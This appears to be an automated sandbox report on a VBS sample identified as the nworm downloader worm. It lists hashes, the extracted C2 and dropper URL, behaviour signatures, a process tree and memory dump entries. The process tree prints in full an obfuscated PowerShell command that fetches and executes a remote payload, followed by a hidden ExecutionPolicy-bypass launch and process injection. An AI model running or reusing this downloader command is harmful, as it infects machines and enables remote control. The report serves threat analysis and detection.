nworm | 9841a5ee76188c7c50f2438e125fa6d60416704e7d40885571491cec4729dd90

General

Target

ANVJYRGCEHLJVEQHRRQKR.vbs
Size

5KB
MD5

b8e6f98016f0cbb8ab5b6d8699538648
SHA1

fd72b20ec5ecf894454f319808582b43b769df05
SHA256

9841a5ee76188c7c50f2438e125fa6d60416704e7d40885571491cec4729dd90
SHA512

c67f7254b27a61e1a674e64f7aab56c1ee0aaeebcfe451343d8375e687516bfad6e9d002039d446b5955c28a13a46741ba00d72a5f25de9c2dc32e76f769d6f3

Score

10^/10

nworm downloader worm

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://rebrand.ly/rlzgijk

Extracted

Family

nworm

Version

v0.3.8

C2

nyanwmoney.duckdns.org:8891

Mutex

594274bc

Signatures

NWorm
A TrickBot module used to propagate to vulnerable domain controllers.
worm downloader nworm

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1944	2828	POWERSHELL.exe	55

Blocklisted process makes network request 2 IoCs

flow	pid	Process
12	1944	POWERSHELL.exe
13	1944	POWERSHELL.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 728 set thread context of 1972	728	powershell.exe	65

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1944	POWERSHELL.exe
1944	POWERSHELL.exe
728	powershell.exe
728	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1944	POWERSHELL.exe
Token: SeDebugPrivilege	728	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1944 wrote to memory of 728	1944	POWERSHELL.exe	64
PID 1944 wrote to memory of 728	1944	POWERSHELL.exe	64
PID 728 wrote to memory of 1972	728	powershell.exe	65
PID 728 wrote to memory of 1972	728	powershell.exe	65
PID 728 wrote to memory of 1972	728	powershell.exe	65
PID 728 wrote to memory of 1972	728	powershell.exe	65
PID 728 wrote to memory of 1972	728	powershell.exe	65
PID 728 wrote to memory of 1972	728	powershell.exe	65
PID 728 wrote to memory of 1972	728	powershell.exe	65
PID 728 wrote to memory of 1972	728	powershell.exe	65

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ANVJYRGCEHLJVEQHRRQKR.vbs"
1⤵
PID:308

C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.exe
POWERSHELL $Hx = 'https://rebrand.ly/rlzgijk'; iex (( (20, 22,20,24 ,28, 20, 73, 65, 54, '2d',69, 74, 45 ,'6d' ,20 ,27, 76 ,41 , 52 ,69 ,41 , 62 , '6c' , 65 , '3a','4f',66,53, 27,20, 20,27 , 27,20, 29 , 20 , 22 , '2b' , 20 , '5b' ,53 , 54,52,49 , '6e' , 47 ,'5d' , 28 ,27 ,34 , 39,67, 34 , 35 ,69 , 35 , 38 , '4b', 32, 38, '4b', 34 , 65 , 40 ,36, 35 , 67 ,37 ,37 , 69, 32 ,64 ,52,34, 66,'4b', 36, 32,53 , 36, 61 , '7d' , 36 ,35,67, 36,33 , 52,37 ,34 ,'5f' , 32,30 ,67,34 , 65 ,53,36 , 35 , 67 ,37, 34 , 53,32 ,65 , '7d', 35 ,37 , '4b', 36 ,35 , '5f' , 36 ,32, 52,34,33 ,67 ,36,63 , '4b',36 , 39 , 53, 36 , 35 ,69,36 , 65, 67 , 37,34, 53 , 32, 39 ,67 , 32, 65 ,67,34,34, 40 , 36, 66,53 , 37 , 37 , 40,36 ,65, '5f' ,36, 63 ,53 , 36,66,69, 36 , 31, '4b' , 36 , 34 ,40, 35 , 33 , '4b' , 37 ,34 , 67,37,32, 69 , 36, 39, 67 ,36,65 , '7d',36, 37 ,'7d' ,32 ,38,'5f' ,32,34 ,'7d' , 34,38,40 ,37 ,38, '7d' ,32,39 , 27, '2e', 53 ,50 ,'4c',49 ,54,28 ,27 ,'7d' , '4b', 67 , 69,40, '5f' , 52 , 53 , 27, 29 ,20 ,'7c' ,20, 25 ,'7b',20, 28, 20 , '5b' ,43, 68 , 61, 52 ,'5d' ,20, 28,'5b',43, '6f' , '6e' , 76, 65 ,72 ,54 , '5d' , '3a' , '3a', 74,'4f' , 49 ,'6e' , 54 , 31 ,36 ,28,28 ,20 , '5b' ,53 , 74,72, 69, '4e' ,47, '5d' ,24 , '5f',29, '2c' ,31,36 , 29, 20,29, 29 ,'7d' , 20 ,29,20 , '2b',22 , 24 , 28,73 ,45, 54,'2d', 49,74 , 65 ,'4d' , 20 ,20, 27, 56 ,61, 52,69 , 61, 42,'4c' ,65,'3a','6f', 46,53,27 ,20 , 27 ,20,27, 20 , 29 , 20 ,22 ,20, '7c', 26, 20 , 28 , 20, 24 , 50, 73 , 48, '6f','6d', 65, '5b' ,32 ,31,'5d' , '2b', 24, 70,53 ,48,'6f' , '4d' , 65 , '5b' ,33 ,30 , '5d' ,'2b',27, 78, 27 ,29)|forEAch-objEcT {([ConveRT]::toint16( ([stRinG]$_ ) ,16 )-AS[cHar])} ) -joIN '' )
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoE -Nop -NonI -WIndoWSTYLe HiDdeN -ExecutionPolicy Bypass -file C:\ProgramData\DNPLRSXSEBIRTBQHEONCJD\DNPLRSXSEBIRTBQHEONCJD.ps1
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:728
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    PID:1972

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/728-146-0x0000023929490000-0x0000023929492000-memory.dmp

Filesize
8KB

Download
memory/728-152-0x00000239295C0000-0x00000239295DA000-memory.dmp

Filesize
104KB

Download
memory/728-151-0x0000023929496000-0x0000023929498000-memory.dmp

Filesize
8KB

Download
memory/728-147-0x0000023929493000-0x0000023929495000-memory.dmp

Filesize
8KB

Download
memory/728-145-0x00007FFA6A450000-0x00007FFA6AF11000-memory.dmp

Filesize
10.8MB

Download
memory/1944-140-0x0000027E78F66000-0x0000027E78F68000-memory.dmp

Filesize
8KB

Download
memory/1944-134-0x0000027E79240000-0x0000027E79262000-memory.dmp

Filesize
136KB

Download
memory/1944-139-0x0000027E78F63000-0x0000027E78F65000-memory.dmp

Filesize
8KB

Download
memory/1944-137-0x00007FFA6A450000-0x00007FFA6AF11000-memory.dmp

Filesize
10.8MB

Download
memory/1944-138-0x0000027E78F60000-0x0000027E78F62000-memory.dmp

Filesize
8KB

Download
memory/1972-153-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/1972-154-0x00000000751D0000-0x0000000075980000-memory.dmp

Filesize
7.7MB

Download
memory/1972-155-0x0000000002D70000-0x0000000002D80000-memory.dmp

Filesize
64KB

Download
memory/1972-156-0x00000000054C0000-0x000000000555C000-memory.dmp

Filesize
624KB

Download
memory/1972-157-0x0000000005B10000-0x00000000060B4000-memory.dmp

Filesize
5.6MB

Download
memory/1972-158-0x00000000055D0000-0x0000000005636000-memory.dmp

Filesize
408KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix

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Downloads